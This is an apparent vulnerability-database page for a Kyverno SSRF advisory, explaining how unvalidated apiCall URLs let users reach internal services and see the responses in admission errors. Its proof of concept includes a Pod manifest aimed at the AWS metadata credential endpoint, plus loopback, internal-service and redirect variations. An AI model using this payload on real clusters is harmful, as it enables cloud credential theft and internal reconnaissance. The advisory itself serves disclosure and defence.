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Open-source package vulnerability · Go

GHSA-qr4g-8hrp-c4rw: Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF

highCVSS 3.1 7.7

Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints. When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.}}), user-controlled input can influence the request target.

Published Apr 14, 2026

Affected packages

github.com/kyverno/kyverno

Ecosystem
Go
Affected
<= 1.17.1
Fixed in
No patched version yet
Check
go list -m github.com/kyverno/kyverno

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.

When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.

The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.

---

Details

Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.

However, the current implementation lacks fundamental safeguards in the HTTP execution path:

Missing protections

  • No URL validation User-controlled input is directly embedded into the request URL without validation or normalization.
  • No IP filtering Requests can target:
  • Loopback (127.0.0.1)
  • Link-local (169.254.0.0/16)
  • Cloud metadata services (e.g. AWS IMDS)
  • Internal ClusterIP services
  • Redirect handling not restricted The Go HTTP client uses default redirect behavior (CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target.
  • Response data reflection in admission errors Response bodies are propagated back to the user in admission responses under certain conditions.

Non-blind SSRF behavior

The vulnerability is non-blind through two mechanisms:

  1. Non-2xx responses Response body is returned in admission error messages (e.g. executor.go:98-101)
  1. 2xx responses with non-JSON content Parsing failures (JSON/JMESPath) include response snippets in error output

This allows attackers to retrieve data from internal services directly via kubectl output.

---

PoC

Preconditions

  1. A ClusterPolicy using:
apiCall:
  service:
    url: "http://{{ request.object.metadata.annotations.target }}"
  1. An authenticated user able to create matching resources (e.g. Pods)

---

Step 1 — Create malicious resource

apiVersion: v1
kind: Pod
metadata:
  name: ssrf-test
  annotations:
    target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
  containers:
  - name: test
    image: nginx

---

Step 2 — Apply resource

kubectl apply -f pod.yaml

---

Step 3 — Observe output

Example output:

Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>

---

Variations

  • Internal services: http://kubernetes.default.svc
  • Loopback: http://127.0.0.1:8080
  • Redirect chains to bypass naive filters

---

Impact

Vulnerability class

  • Server-Side Request Forgery (SSRF)
  • Non-blind data exfiltration

Affected scope

  • Kubernetes clusters using Kyverno policies with apiCall.service.url and variable substitution

Impact details

  • Access to internal services (ClusterIP, localhost)
  • Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)
  • Internal network reconnaissance
  • Multi-tenant boundary weakening

This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.

Credited to scumfrog.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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